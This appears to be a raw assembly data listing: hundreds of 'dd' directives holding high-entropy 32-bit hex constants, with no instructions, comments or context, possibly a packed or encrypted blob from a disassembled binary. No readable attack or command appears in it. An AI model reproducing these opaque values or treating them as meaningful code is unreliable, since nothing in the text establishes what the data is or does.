1473A3EEh dd 0D07AD4A5h, 0B2DA9B11h, 971D44B6h, 7E34A94Eh, 1D264B1Bh dd 85E98C35h, 57B91A83h, 0E8ECFA1Eh, 9CD1B925h, 0FA4C9561h dd 772CD44Fh, 25B8110h, 7DB7AF2Ch, 59977066h, 8821225h dd 1C147C47h, 3E4538A8h, 4C1631B4h, 0EBA767D4h, 0EE900F97h dd 0D2CEF027h, 0BC9D03B2h, 586A9854h, 20E1F457h, 87570801h dd 8992502Fh, 8148B551h, 20A82FE8h, 21EC2D1Bh, 21087DD0h dd 228CD34Eh, 0F13EFF75h, 251A0912h, 3049937Dh, 441834BFh dd 0A6ABB738h, 0FD427E2Eh, 8F304F1Ah, 0F8A56CD1h, 264AB314h dd 2CAAAC1Dh, 797E4948h, 0A43F5D3Ch, 64786C48h, 531BD2B5h dd 116A1290h, 0CD171EDDh, 8223F6Bh, 88FF2C21h, 47F48146h dd 7F684328h, 514D4586h, 0AF4CE94Fh, 20ECE585h, 454AB296h dd 0BA282E3Ah, 2135A6C0h, 18117CE0h, 0AEF80995h, 46C7AA46h dd 88980B2Fh, 0CF8ACFB6h, 90042489h, 0E62CB205h, 0FF382D85h dd 72337BB1h, 84994969h, 5FCD8D47h, 84ACCD43h, 4C8B0CF4h dd 0F8360306h, 0EEC82271h, 0CCAA2DFAh, 68174D31h, 8AA44AF9h dd 0DBF2F9BDh, 4F07A7F5h, 8B36C518h, 31E80982h, 0B19165CFh dd 2FB306Bh, 0D6EA5568h, 62B25765h, 0FE1367Fh, 30BD8014h dd 0ED9F814Eh, 451A0601h, 0E004E631h, 0BC5D3840h, 2DB57774h dd 28EEA6BBh, 0D50909F5h, 61C5C87Eh, 2E68162Ch, 8B247EB8h dd 327F2EAAh, 2161282h, 879D88B4h, 50EAC657h, 2FE85D02h dd 0C5CAF4D1h, 841D1330h, 648E1377h, 6A966858h, 2797CE43h dd 0F608C887h, 8B6603D0h, 6F4C3285h, 7F199727h, 0D914341Ah dd 5C9D7222h, 0F68E5A4Dh, 0A381FC4Fh, 98228D68h, 5B023D12h dd 4ED097E8h, 42988FD6h, 8A1CCDD2h, 6DED5F96h, 10906FA3h dd 7B2DA384h, 43742821h, 0FC4CD063h, 0DCE8175Ah, 2AC974CFh dd 0E8570E4Ch, 5F891A39h, 5D852494h, 38F40690h, 0CC4FEE18h dd 953ED479h, 7C08EE0Eh, 14B4240Ch, 0C69D86BEh, 569D89C9h dd 0BAB802D3h, 0FC8D2F79h, 855B520h, 85509439h, 55A7413h dd 0C0EFA6B4h, 89107508h, 23C50495h, 210B85C7h, 699A7602h dd 2CC515F4h, 1B05B029h, 26C95DABh, 4F11C8CDh, 0D5DE53C9h dd 572C74E1h, 296F3449h, 0CF4D6F5Bh, 1609605Fh, 74A11629h dd 0A73E4D48h, 6515792Bh, 44825152h, 461435DAh, 53CA1942h dd 0EC06E944h, 16956122h, 3F42038h, 39021DBCh, 0F57F0C1Dh dd 0E5F625AFh, 8DA89256h, 50578CF4h, 61BE14B8h, 30BF0B18h dd 4D8D0091h, 68511CFCh, 60021919h, 7692FFFFh, 0C445AA50h dd 10B2332Ah, 306519EDh, 0A5F33A76h, 399B602Bh, 0C18F2DB4h dd 0ADC33BEAh, 850DE3A2h, 4E0E2866h, 28E3440Ch, 4A8A2291h dd 241119A2h, 23966B0Ch, 89EE1844h, 0EB709039h, 0B215599Dh dd 90D29804h, 0B3D3263Ah, 0A8179693h, 6A908326h, 0E281264h dd 906A35EAh, 78EBD926h, 573D6A30h, 0A4E93FE8h, 6045D427h dd 58206815h, 44E54A10h, 3EDE530Bh, 0FD108DEBh, 91FC5C64h dd 8CD05ADh, 14EB2920h, 0CCEFE216h, 0A6531010h, 9B169F14h dd 3FA59121h, 2C08FDA1h, 1F526B2Ah, 149D0952h, 0B4E63CEBh dd 8AA54A28h, 4A104715h, 829E5F1h, 883E9128h, 2E3EC530h dd 46073EC6h, 25939F4h, 4DFE8644h, 0FB9C16AFh, 4EB9DE28h dd 11E3E6A7h, 9884FD64h, 44EC2802h, 2A25E8FEh, 806920D4h dd 0C1EB05BCh, 75595C1Fh, 11195814h, 9C88F98Bh, 0D8FA1854h dd 784868BBh, 64169FE0h, 66562CEBh, 2F31D14Eh, 5302F85Dh dd 46F51A92h, 0FD6821A0h, 88876490h, 71E908A4h, 0A14D21B2h dd 625D3424h, 0FD4C5A27h, 23445E89h, 0CB94148Dh, 5E242B39h dd 410A2AD1h, 0C2688B1Fh, 0FE98D528h, 12BFC932h, 64845380h dd 0D331BF4Ch, 347F04BEh, 0A261BEF9h, 9A0C91C4h, 348BD040h dd 565FA83Dh, 2A148DD2h, 0D7279F8Ah, 0BB64C076h, 2A748EC8h dd 791DF671h, 80540C10h, 2E13E8BDh, 45127520h, 423694E9h dd 2A2E8F09h, 41A1E639h, 0D9F2B417h, 0C5531819h, 52161638h dd 0E054141Ch, 42D99514h, 46E85D67h, 1C53C82Ch, 2AE4557Ah dd 8FE9AADDh, 2D980D52h, 88DD2A69h, 0CFE65211h, 0AE1EFD5Dh dd 2BA6A34Eh, 0E83F844Fh, 0FA4487A8h, 91C26833h, 185645D7h dd 16A7BA9h, 71911BACh, 7DA2D962h, 54253132h, 0B1862C56h dd 8B8458F7h, 6A32A0D2h, 2D534053h, 5021D4C8h, 9A84680Ah dd 0CAD59F9Bh, 271FC435h, 99DDBD0h, 0B3B2F676h, 335874D2h dd 28D63CD3h, 0A3700858h, 46D7C64Ah, 0D4448D5h, 3832C574h dd 28185819h, 0C4742186h, 20C81490h, 1199FCC2h, 86EC1850h dd 86E018F9h, 2A41B452h, 0C520DC8h, 0DAC2A68h, 61278055h dd 0D67D07BAh, 74201B68h, 0C37D8344h, 5810213Ch, 73413410h dd 10900461h, 3F248850h, 831C20C2h, 4114C357h, 0AEE35210h dd 7D4D8210h, 0C70B89E6h, 59C61005h, 946885B2h, 2CE53699h dd 2F8CA328h, 48541C48h, 8ED02E77h, 0A38B9827h, 2D4FD014h dd 342C88B2h, 0A92991C0h, 1223827h, 14997823h, 0B0CAB26Ch dd 3760C4CCh, 50440D6Ah, 0F3B1F432h, 0AC040C40h, 292C43E6h dd 1C102724h, 440D44CAh, 1AA8320Ch, 3E56BB08h, 0F0C49C95h dd 88B1608Fh, 0C604E2F4h, 4473DC33h, 0C4A863C4h, 8851838h dd 876A98F8h, 2029423Ch dd 0DDC156Dh, 0C8C43410h, 9CF064C8h, 7AA1207Ah, 812108DCh dd 19084234h, 1123F004h, 0EB17B509h, 1C2A390Bh, 0B8671C0Dh dd 0B155428Ah, 0A8088A26h, 0CEF78A6h, 88438CC4h, 100D0829h dd 0C478C874h, 0C4603164h, 5786580Ch, 847792C0h, 0FCAC3075h dd 478C087Dh, 0C4601178h, 0E210C08Fh, 44471420h, 38912C21h dd 10641488h, 8438699Ch, 0C841C049h, 45397A10h, 42F41C04h dd 15482397h, 3C2B0DE4h, 0DD415AFh, 433B4423h, 0B010A423h dd 9CC4A8C8h, 80315832h, 86AE140Ch, 93754842h, 233C9EEFh dd 0A4CF4411h, 11A88F11h, 0EFF3588Ah, 70E8AE74h, 0A3DF974Ch dd 0B04F5340h, 286824C8h, 0B05464E4h, 1185BBA2h, 10392558h dd 40C89934h, 0D30AA6Fh, 20889891h, 0C62A064h, 0FC185C19h dd 842B9642h, 0DF415DAh, 0E8103023h, 44279CCAh, 4E1C32D8h dd 3E4042D7h, 8149C4B8h, 81410898h, 5FE09A0h, 3108085Ch dd 29F05420h, 0B83010C9h, 8CC59C91h, 2CE21C42h, 601D2819h dd 6888C0EEh, 0E79653CCh, 4402A584h, 0B46296C0h, 0DCC8C99h dd 0D51A4F5h, 940CC5F8h, 0C4702186h, 4CC88890h, 43778C4h dd 186C32C5h, 4386C4E8h, 10B42364h, 0BAD4CB58h, 0F00D240Bh dd 0FC184462h, 384386C4h, 0E869E024h, 8894910Dh, 62546428h dd 18501920h, 90218618h, 0C81090C4h, 3108C488h, 0C20DC5A4h dd 0F418B819h, 6C219542h, 0F2CB5BBh, 4C950B82h, 1AE45404h dd 0A213BB80h, 213C460Dh, 887C91D4h, 62E864C8h, 183419BCh dd 0F85686B0h, 0DA02A82h, 901A48EFh, 0DD85286h, 0C918421h dd 0B0647888h, 0F1CC05DCh, 41C2B515h, 601119Fh, 0CF85422h dd 70218605h, 21F91CC4h, 0ED185438h, 52E80CA9h, 0B419E118h dd 19D50C52h, 0C92452D4h, 0C52F019h, 52FC19BDh, 0E019B124h dd 4386A50Ch, 95992194h, 8D210C54h, 81C85090h, 74436C6Ah dd 5A105279h, 10716478h, 46922B8h, 461226Ch, 459222Ch dd 4512280h, 449223Ch, 0E8D1DC7Ch, 2334478Eh, 0C56888F8h dd 0C73D8C4h, 34212BC4h, 9D23091h, 0CB9C9571h, 5011F450h dd 3490C793h, 32C498C4h, 48241920h, 21860C0Dh, 0F888C51Ch dd 9DD04594h, 280D1298h, 0D89EE4Eh, 0C01A48ECh, 0D645286h dd 5C91AC21h, 6C649888h, 7001BA9Dh, 35440D8Bh, 0BC238384h dd 76264140h, 10A038E1h, 0D030F071h, 68786C10h, 3C671028h dd 0CB3B200Bh, 1C64C591h, 6C788E5Ch, 0D8381187h, 0C6533155h dd 0E57C6803h, 0CCD1FF2Eh, 93C50488h, 21A68A1Dh, 0A2FA33Ch dd 2C1F1D89h, 289412FAh, 3D7D7420h, 1C93607Dh, 0C9B45014h dd 888ACCE0h, 0ACC6080Dh, 0EA1583C1h, 8E15B78h, 4356C608h dd 42402144h, 501C9430h, 0A62411E5h, 23184363h, 0C9081054h dd 420A4C2Ch, 15A02393h, 0D4230DE0h, 0E4C4D010h, 19C432C5h dd 0B819DE8Ch, 438C380Ch, 102823ACh, 0C4BCC89Ch, 5BAC3284h dd 0C454083Fh, 8A736493h, 0A063EC2Ch, 0C4D463C4h, 8C38E462h dd 38478CC4h, 3C46283Ch, 0AC2146BCh, 480C4C71h, 93780885h dd 6ADE8A52h, 4029C63Eh, 0C47C8892h, 4C8A10CFh, 5443544Ah dd 30445021h, 438E2068h, 0DCD02B0Ch, 0CC8978BCh, 5C884A4Ah dd 4285864h, 48521F87h, 0DCC792F0h, 9DFC4488h, 0F40D1267h dd 0BC0CAC31h, 0FC4264A6h, 0E7089424h, 0BCC4D8F4h, 9064212Eh dd 92A0A160h, 7490290Fh, 0C8C98090h, 27C4083Bh, 6C435CD8h dd 74456821h, 907C4A28h, 434A8652h, 0B1902B50h, 0DCC94010h dd 0D892E6Ch, 86201818h, 90C4D821h, 0D870CA10h, 0E42290E4h dd 0DC7DF04Eh, 8C18788Ch, 7021D847h, 7032FC73h, 0E85AE114h dd 8F91E811h, 0AC8810CCh, 848810EFh, 237C435Ch, 0BE5F9778h dd 405DAC02h, 6A965F5Bh, 339F9097h, 35392FF6h, 21D77229h dd 0FF2C74B5h, 9784F0F2h, 5C9826CCh, 0E13F9C41h, 56C77026h dd 6A9F12A4h, 21F6F0EEh, 201995E3h, 8141870h, 84731C34h dd 90150632h, 0E438A7AFh, 42E43824h, 0BCD2109Bh, 11857BA8h dd 0C4E1DC28h, 159E32CCh, 30A24790h, 210E3439h, 0AC6A90B4h dd 38118513h, 98713CC8h, 6285360Ch, 403994DFh, 1087441Ch dd 5602C880h, 4888AB42h, 64384CE4h, 0BBCE2186h, 7F0A7751h dd 8854438Eh, 2B9A644Ch, 58444321h, 431C5C72h, 59662130h dd 60230A0Fh, 18E26490h, 0C40A3219h, 687293DBh, 100E6C39h dd 909E9AFCh, 85A7A8BAh, 21DD7011h, 0CA32E4C4h, 0A2739015h dd 0E7C3978h, 9690C821h, 868C3FACh, 22944326h, 75392D70h dd 15564652h, 6412882Dh, 27506614h, 104217AAh, 7DE92274h dd 25601192h, 7477FE3Bh, 0BB08C3B5h, 4C76BBC6h, 710A2986h dd 38A3880h, 0E857536Ch, 0D8556DC2h, 85591FB6h, 9466BADBh dd 0D625200Ch, 50DF56BFh, 0C7012B41h, 0E8535750h, 0B23BD2C4h dd 0C38B187Ch, 7024801Eh, 0E4E81730h, 0CC23AEC1h, 7A341010h dd 8C0C89D4h, 510325FAh, 0E9E58BC6h, 0A9CA866Ah, 8F0FD268h dd 0F78B3006h, 0C3422024h, 0C62D5979h, 65B6DE5Bh, 0D0BC985Dh dd 6EB7075Eh, 3008F57Ah, 0E815F842h, 8B27DF0Bh, 828B9EF6h dd 0C071F6C1h, 7DC73B47h, 0C87B0578h, 0A767EB3Fh, 0B5FFC1C9h dd 157E2940h, 3114018Ah, 740AFA80h, 0D0A8105h, 1C880375h dd 63B41F4h, 33EB7CC8h, 7E1F42D2h, 32933822h, 0EA4CEBA0h dd 919F201h, 0FF811074h, 7DAE2077h, 508C890Dh, 24739BDh dd 7CD03B42h, 33E039DEh, 73A41774h, 48507E89h, 0B94FF1C1h dd 488B31C8h, 0C5DD35C7h, 0AE082444h, 0B914D821h, 3C004145h dd 788DABF3h, 2E8572FFh, 18711F7Ch, 8A103BDFh, 0AE060428h dd 59801270h, 0FE4CFE46h, 1C890018h, 0F73B4B81h, 5B61E57Eh dd 0BE0FC37Ch, 3A044098h, 3C80D5E3h, 7C591D61h, 7F7A460Bh dd 0C1B72807h, 0F12A6046h, 0B8FE0869h, 8F870C5Fh, 46C120E2h dd 24BCA402h, 6945C095h, 8AF672D0h, 0A4CC7FF7h, 56EF44F4h dd 0B29F15A3h, 2E766EE8h, 8B4E1440h, 72EB24FEh, 0D9AB4C1h dd 46C1837Dh, 8441EB6h, 14748107h, 4C6226EAh, 9E085D28h dd 6D251F6Dh, 0FEF455F0h, 814DAA84h, 0CE2BCA82h, 787E2620h dd 3C11702h, 72A2FCF8h, 8D953661h, 4D49FF72h, 0C142CF6h dd 43511F2Dh, 8C29EA60h, 0C04D604Bh, 0B275C14Eh, 8984E4Fh dd 0CF8A7F32h, 801A4C03h, 94F7EBC3h, 901647Eh, 81A54656h dd 0F7C26AB1h, 68505246h, 2BED5016h, 0F85C0DA3h, 15401238h dd 1F46CC68h, 80088A60h, 7F1F19F9h, 7F090A05h, 0FAF1EEA4h dd 7148E020h, 1419A38Dh, 1D0C72D4h, 0EB742E08h, 0E67C2105h dd 50562F20h, 0B7C6FCBEh, 34689C10h, 0C8D99C4Eh, 9FE11B20h dd 184BABE4h, 0E4D7B2ECh, 10BD247Ah, 0F82A74DEh, 14448101h dd 0E521D7BBh, 9948FA1Ch, 1E7E49D4h, 2813D09Bh, 8A1DA80Ch dd 8C52CC7h, 1A7E9A55h, 0B148BFF6h, 601585A2h, 3BE81B80h dd 644C74EEh, 0A1A84ABDh, 0AF04B499h, 0E06C4106h, 0FA894346h dd 221F4868h, 0DC55CA70h, 1474134Bh, 0DB487C19h, 71B6E211h dd 0C8AC69B7h, 2555F253h, 0B9F6B03Ah, 0FC9EA6Fh, 11947C52h dd 0D9572DD8h, 5BF4B132h, 0C5096640h, 64BB011Ch, 0E4F304F6h dd 37EE24FEh, 99146F3Ch, 0C60C6898h, 735ADCA6h, 0C25E56E2h dd 8B8B034Ch, 0A191430Dh, 0D32F30C8h, 0E8D612ADh, 4C748528h dd 0B64E9BE8h, 6FF03C03h, 0B148B1F3h, 95791D28h, 0B7E18CD8h dd 2750A7Fh, 7A40340Bh, 0CCD64F14h, 36A71639h, 93E4E932h dd 0E9604EF3h, 6068853Bh dd 0C7E88A42h, 0E3EA939Eh, 34048605h, 0E946066Ah, 35B94F59h dd 0C2C60868h, 64090764h, 0E45C4F87h, 0F4E7450h, 7752431h dd 6E62AE20h, 40C57315h, 9CE588B2h, 0DE1D4C8Ah, 66CAF484h dd 0A0200E12h, 0D46827FDh, 0B58F7710h, 0B2332BDh, 1A0A7C14h dd 0B01A0802h, 4091BAFDh, 4E0FFE95h, 7013B886h, 505222A4h dd 90681544h, 0AD52233Dh, 1986DDD8h, 0C13828C9h, 0E5959C8h dd 47708652h, 0B27E2F8Dh, 0F86F95E6h, 0A818C344h, 1D2A575Fh dd 0D3984587h, 0BF2A7D7Fh, 0A44A6804h, 0C7566620h, 0F5B45A45h dd 0D40E9B91h, 5566822Dh, 0A915E925h, 7E502511h, 7F50ED22h dd 0D25BEC8Ah, 12921269h, 29931BD7h, 4824F42Eh, 0C74F1BBh dd 0A6B45E97h, 4CB57E30h, 0C8B08681h, 7549F06Eh, 0FAA84511h dd 40080B48h, 34C52FB5h, 0AEE49F27h, 0FB56EC44h, 18600671h dd 0B572C712h, 0C1B95716h, 60BEFDB0h, 0BD8DB9F0h, 26B7E7A0h dd 97F7A8D4h, 68285A5Ah, 0A41971E0h, 59E525E8h, 92CEB421h dd 96B9F1Ah, 4C386376h, 2384E7A0h, 7E3FBBECh, 944C485h dd 474018B8h, 0B8593B4h, 26F0A84Dh, 51B87D1Bh, 56081912h dd 7028BE40h, 0B1A2E45Ch, 12546E1Bh, 0BEA7E841h, 4925226h dd 295CCAAEh, 0D8120F19h, 0A5DEE8A8h, 0BBC3FF04h, 41F8381Ch dd 0D60D1097h, 8502B41Ah, 0FF0274C9h, 707E6CE1h, 0AF90BD88h dd 574D4356h, 489678C6h, 0F4B7DA26h, 44E076A9h, 2BC820D0h dd 5C7404CFh, 0BB32E983h, 7E126336h, 0A236748h, 4417556Eh dd 2FF78CBh, 44B4C068h, 0B3142183h, 5DEB0C01h, 21BB8468h dd 0BF4948AFh, 11F256D3h, 0DA832998h, 20A06EE2h, 74F73B10h dd 0CCD1286Ch, 0B75EA456h, 39B762E0h, 37763E02h, 0CA045E8Dh dd 69F273h, 18C38347h, 0F1723E3Bh, 6823EB0Dh, 65099540h dd 0B2ACC0BDh, 480E4844h, 22FC189Fh, 108B1005h, 4BBC21B0h dd 0AF2C5AA1h, 0B3F868C3h, 0D9CCF927h, 21412F8h, 89581035h dd 0F76A9357h, 0ED89A1AAh, 82DF94B2h, 62D7F612h, 0F03C4F8h dd 50F3F2B6h, 0AC8542Bh, 0B90F5F2h, 0FCF089F1h, 3BC26C06h dd 322DB24Ah, 80FAE28h, 0F9C9D233h, 1F7E4480h, 0FE16418Dh dd 9C10D157h, 0DEF71EDDh, 0DF710CC9h, 0B70FAA20h, 0D738033Eh dd 75488146h, 4EB5FF6h, 4C082392h, 6960567h, 89D0033Eh dd 0D5E281CAh, 0E9C10221h, 5EDBF710h, 0E80D7FF7h, 0D0F7F010h dd 209E7799h, 50120190h, 0A2F1B8BAh, 769C5F49h, 3A478FA1h dd 4B70FE8Dh, 0E7C69FC4h, 7729E29Dh, 0F05E6116h, 0D23ED6A5h dd 18B9112Ah, 82EB15D8h, 637D06EAh, 5D2E2398h, 803F3A5h dd 6A42B544h, 0AE9957B1h, 21B07F5Dh, 0BF1AA453h, 0C088C979h dd 78BC67FEh, 468A38B8h, 17FC427Eh, 31FF0E98h, 0C2AF084Ch dd 4CC2D157h, 5A9B0CCFh, 0EB4A68AAh, 6A2785BDh, 0E00C7376h dd 0A2806053h, 0B960D564h, 48E7DCB8h, 7EE8456Dh, 0C10A40DBh dd 6BCBC87Dh, 0EE200A10h, 267EC05Dh, 61F6A6DFh, 0AACB956Ah dd 0F117FCBBh, 0CDA2C475h, 78229C52h, 15C1D09Fh, 0FDA7CC0h dd 7823944Bh, 218604CEh, 235EB09Ch, 0CA628932h, 0AE3A300Dh dd 0A3E82AE1h, 88BCB8F3h, 1FEFC48Ch, 0F602CC23h, 32B08946h dd 74EB997Dh, 0AF59F593h, 7CEE3675h, 97AC7F75h, 0A72459BFh dd 0F6D2AB5Eh, 7508431Eh, 0B2A7378Eh, 5D1407A6h, 62FED211h dd 0DE98C057h, 7A8CAFBEh, 0E550827Dh, 22DECC53h, 21D046E4h dd 885408CCh, 0ECC4D0EFh, 0C1E0230Ch, 0CE2EAD5Ch, 51A8535Ah dd 89D03A3h, 0DC9C0E65h, 11B1D0FFh, 0BDC4BCE8h, 0A388B999h dd 42F91BF7h, 0BBCC3C52h, 393452B6h, 4C55EE12h, 0B81264ABh dd 0C047B9C9h, 0AAB24F88h, 550A3FC2h, 88C8F2F8h, 75373ED8h dd 0CC2F8943h, 727ED4A2h, 9C4AE2C3h, 402275FFh, 9488D4B9h dd 0D492EF35h, 0EBE67C14h, 6E4D3184h, 0A63B5E0Bh, 0E8E83B12h dd 9E4C4653h, 0C22B2FD4h, 5037E579h, 34BF5375h, 0D885092Ah dd 4E67777Ch, 0AA56CE95h, 0D5E8CF0Fh, 28EBB4A7h, 3CC3F248h dd 57A57FD0h, 808839B7h, 57AE886Fh, 0D8871B88h, 268C0BB3h dd 78E5AC23h, 1ABA94A1h, 6C12389Ch, 0C30399D8h, 9CA1D67Ah dd 880D2842h, 6A5E7990h, 8064CF6h, 8BB5FEE8h, 8D2C179Ah dd 2E38154Dh, 35636F51h, 0B8555E98h, 0E809A070h, 5F94AAA1h dd 20B8426Dh, 1CF99F02h, 0DC55A72Dh, 0C49A5C89h, 0A939FF27h dd 0E7DB32BAh, 680C0AD8h, 9A63EBFCh, 0EE5284ADh, 0D21C3311h dd 190910BFh, 0C948121h, 35D9714h, 0F32D9429h, 779A59Fh dd 487FC64Ch, 8C476405h, 0C228743h, 0D195FF90h, 9D3A468h dd 212A0BBh, 259DF95Dh, 0AD4A7A5Ah, 0DFDF4877h, 561816A9h dd 0A694359Ah, 0F0CE1DCh, 2FE5845Bh, 75FC7C40h, 0B21AB42Bh dd 0FC1B903Ah, 810D7430h, 0F2F87D2Dh, 0B50F7C09h, 908FC29h dd 9DEBC3D9h, 7665FE67h, 205F5CB9h, 740A0654h, 0C83B4054h dd 56F0722Eh, 28447DA1h, 72FBF428h, 47184229h, 8A68217Eh dd 66176D74h, 0D4453053h, 8CAB6845h, 499DE972h, 0AA724045h dd 9068AF06h, 1F8C54B6h, 18B3825Fh, 0AA2C2778h, 19266F9h dd 2E8F961h, 5468318Ah, 1C595929h, 21938C03h, 232CEAB4h dd 0E0238E36h, 62554AA9h, 0E8180378h, 0F59BAAABh, 6C88E6C9h dd 0B754F1B1h, 0C53F500Fh, 0D0F46BFh, 11083D8Bh, 94D16B31h dd 0D8FDB33h, 0C76C43F0h, 3BC20C2Ch, 7AEC5D89h, 2DD75002h dd 565B8C98h, 0C5FC8663h, 2C811722h, 0D08A0482h, 32C4D2F8h dd 0C45FD77Ch, 0A90DD4D5h, 740B1121h, 0D4B0905Fh, 0ABCF8056h dd 8C64C6B4h, 1D4BC133h, 0C9D75513h, 0F412996Eh, 6C80C99h dd 9B55BFCCh, 6EC78C7Dh, 0CC54A208h, 4FAABB26h, 0AA9FCA55h dd 1B8389Ah, 0BCDB22DAh, 0E4A49A79h, 7DC20893h, 2C7A57E9h dd 8C0BACA2h, 0D76B4A64h, 0BE245F9Eh, 9EB289A3h, 9C15F816h dd 4CD43C08h, 83BD923h, 0FB0C7C70h, 74134C22h, 0EBE34105h dd 32685301h, 0B5E80B7Fh, 952DE6AAh, 0B741A978h, 0A7A5C2FFh dd 4D20F8A1h, 97FF69DCh, 0C820359h, 12D08F89h, 24510EC1h dd 0A54EC555h, 0ACD3F9E2h, 908721F0h, 0FC74B727h, 21B6D844h dd 0DD7FAA5Dh, 700640Dh, 7EA7B591h, 2EABCA37h, 0D2E96FE9h dd 62134475h, 518013F1h, 10BEE282h, 6A010C70h, 442B5F3Ch dd 2A8E0C24h, 0C24DC88Bh, 0E1F6E132h, 990857F0h, 68511A01h dd 0BEA2515Ch, 6AB651D8h, 70E8F832h, 3F66AF4Fh, 0AE7ABFAAh dd 4240BF0Eh, 318A1C0Fh, 8B0D5368h, 0FD266CDAh, 0C62B2262h dd 0D31BA1C0h, 86525728h, 35C83532h, 0D5C07FF2h, 0D70777F6h dd 0DF3B0472h, 0E434D166h, 196F9064h, 33C79CE8h, 0CE16B4CAh dd 0C985FA00h, 145B7758h, 0B6830572h, 6A9B733Ah, 22F6244Bh dd 10A17777h, 31421247h, 8937083Bh, 842B1832h, 8C212644h dd 1E221B42h, 0B211946h, 7C730A0Bh, 2B203075h, 1B025FC7h dd 13C303D1h, 0B6EFFD6h, 2D096821h, 0FF40F450h, 5EEC9257h dd 4BCE24FCh, 1BDC940Fh, 0B110C42h, 7127435Ch, 750400AAh dd 3C9D3952h, 261913DEh, 0FE144422h, 346770C6h, 2146B890h dd 6F0F0210h, 2964E0E2h, 70EB468Ch, 0A2E802Ch, 59095175h dd 30551202h, 4544755Ah, 43528484h, 7505085Bh, 102CE833h dd 0C5298880h, 7C124801h, 2631744h, 0E9742122h, 1C707D42h dd 382F7512h, 7471D1BFh, 0B6EC2E27h, 0FD180ED8h, 68FC53A0h dd 834DA8E3h, 99D4855h, 640F2514h, 0A1316631h, 3F6A3164h dd 0A485E0E3h, 0D9DBBFFDh dd 1263A61Eh, 67E9A9A1h, 740BF8C0h, 0DD094BC2h, 516E820Fh dd 0EF27689Dh, 0C729D0CDh, 0FEF56F1Eh, 0EF28FF4Ah, 0D94BB5F4h dd 64BD39ACh, 0F8304AFAh, 0C34C3622h, 881C4CE6h, 0AA7C9C4h dd 0FB9A8059h, 1FD15773h, 1BC95F52h, 535D9240h, 692927FFh dd 820BA7Fh, 0C621C9Ah, 0FF322E6Ch, 206A2361h, 81C8DC96h dd 29A7F090h, 99719F38h, 22441110h, 261F24EFh, 28384066h dd 57AC4BC6h, 0F69885C2h, 164C1082h, 79606A02h, 0F81808FEh dd 0B5E91A4Dh, 21230A46h, 9024F998h, 88FBDB12h, 149550C7h dd 7EC5298h, 9FD457Eh, 9F4CDFAh, 6A0DD61Dh, 7F98F32Fh dd 0C959B55Ah, 380C3C0Ch, 47DA284h, 5256FA7Dh, 0FD11BB0Eh dd 14B812B5h, 0D05B62BEh, 19A81091h, 0A1A60C61h, 4BAC2829h dd 74D6D9B7h, 0AC5A0971h, 900BB524h, 73C1D450h, 0BE560284h dd 45987780h, 49CFF74h, 46A6E662h, 0B53DE60Ah, 1506EC2Bh dd 1C84284Ah, 1D2A66B9h, 6DF8245Fh, 421613CAh, 1166E468h dd 7AA63728h, 142F666h, 0F8F84A4Ah, 16DC2ABBh, 0EB172143h dd 1F4B1B26h, 0D4BEEFB8h, 1A410FDBh, 3407E894h, 0FAE9573Bh dd 4B5773A5h, 0FC7632E2h, 0F4F37960h, 0F2FE9759h, 0C8015CEDh dd 110FB894h, 1CCBAB41h, 5CE224DCh, 448FD906h, 0FCA43165h dd 0D6242E19h, 9081F4BAh, 4AE5708Ah, 0FE8824B8h, 4D069E86h dd 301892FCh, 0F7E8B0BAh, 381BA554h, 0A6E9FC86h, 0DB0CFB0Eh dd 0CCF24A8Bh, 12A9F9A6h, 0DB8415C9h, 1D998CA8h, 4B94DBBh dd 738AA80Fh, 2AD1E49Fh, 0F863FCA8h, 0F659B5D8h, 0A818ADB8h dd 3D6A1864h, 0EAD75C90h, 5D39E630h, 15761ACCh, 98326CFFh dd 0E84521DFh, 0AC79BDBAh, 75B70FC1h, 9A1E47D0h, 0B26ACB9Bh dd 1E31E0C2h, 5A1A47E0h, 0DC12CCA7h, 538234C8h, 0AFFA27D4h dd 0DACFEBC9h, 531A9168h, 0F72E92C6h, 4E51B488h, 919376F4h dd 8C50499h, 2F109528h, 7426F33Bh, 0F893F961h, 48D9D5A8h dd 42AB3228h, 342293FEh, 9A94C61Ch, 40743FF3h, 90D303E8h dd 0FA49D9D0h, 6D92EA04h, 732F27BAh, 0F29B9B0h, 0B43E1628h dd 8B0F1B7Ch, 8B269013h, 18EB02F3h, 1D893C68h, 31F8D384h dd 0F608FAA4h, 0B860A341h, 0BAFE4B2Ch, 0FAA4E271h, 0ABAC3008h dd 0A3E3A84Eh, 11FCA411h, 39D07C87h, 0BB011F85h, 0C588A731h dd 0D158BC2Fh, 28B51809h, 4E7BE873h, 0F2B4BDA1h, 0A64AD751h dd 481CB978h, 0BF094409h, 5CDEDAB8h, 1E2FFE3Eh, 8E42B25Eh dd 1F4EDBA7h, 0BDEE80Fh, 0FE81F703h, 7C824CDEh, 8F42EBDFh dd 6953E2B4h, 572D85F6h, 899E0C92h, 0C0DC853Bh, 179BB05Fh dd 5161073h, 9F6818BCh, 6B868D3Fh, 90753960h, 0A4BBF1ABh dd 3D247CA5h, 0F6E47005h, 0AD2AF15Bh, 69C21CFEh, 0EB2B9356h dd 0A72CA60Ah, 0B108285Bh, 3314437Bh, 209B34FDh, 468D3696h dd 54501831h, 4AAF3468h, 21C3B45h, 0A83F2722h, 23B86A71h dd 426F65FEh, 0C6812C42h, 5C47AA91h, 78A6B6BFh, 2F5671B7h dd 595D7992h, 0F4BB1F5Bh, 0BE20CCCDh, 4364C9FCh, 12003BE0h dd 838D7F6Ah, 6F5312A1h, 3690CA34h, 123BDF2Bh, 0EBE37DDEh dd 0CAA7368Ah, 0C2C0A5A3h, 5C84A7A6h, 17E46028h, 85DFF4Eh dd 0D183693Dh, 25E885ABh, 32151FC2h, 78D66512h, 0A4B8586Ch dd 14337883h, 22050888h, 19B3D29h, 4C39F27Ch, 9CE1E624h dd 75B58574h, 12A95116h, 180BCA7Dh, 85E80404h, 982C8D7Ah dd 598523E2h, 0ACC3795Eh, 0E33E41C4h, 0F6CB4154h, 21CCE3E5h dd 0E211275h, 0D115305h, 33DD0B54h, 169D51C0h, 2D1CA640h dd 0BAE1DB03h, 25E422C3h, 54EAD233h, 37001CCAh, 0F0553947h dd 0FC738973h, 6448A0A2h, 524F1E75h, 5C7A02A6h, 0BA22DFECh dd 32A2B5F6h, 4C7941C1h, 0BD22808Eh, 506EE168h, 0DF4109FBh dd 29E3EAE2h, 32B9184h, 9F80A93h, 6C330879h, 1E3BE731h dd 0B048527Dh, 5E36AC3Ch, 8AB4F819h, 0C2683C13h, 0BFD63411h dd 0CA760511h, 85C47256h, 1B92ED67h, 54A631DFh, 6801FCE4h dd 0E89D48ACh, 0E8A0A52Dh, 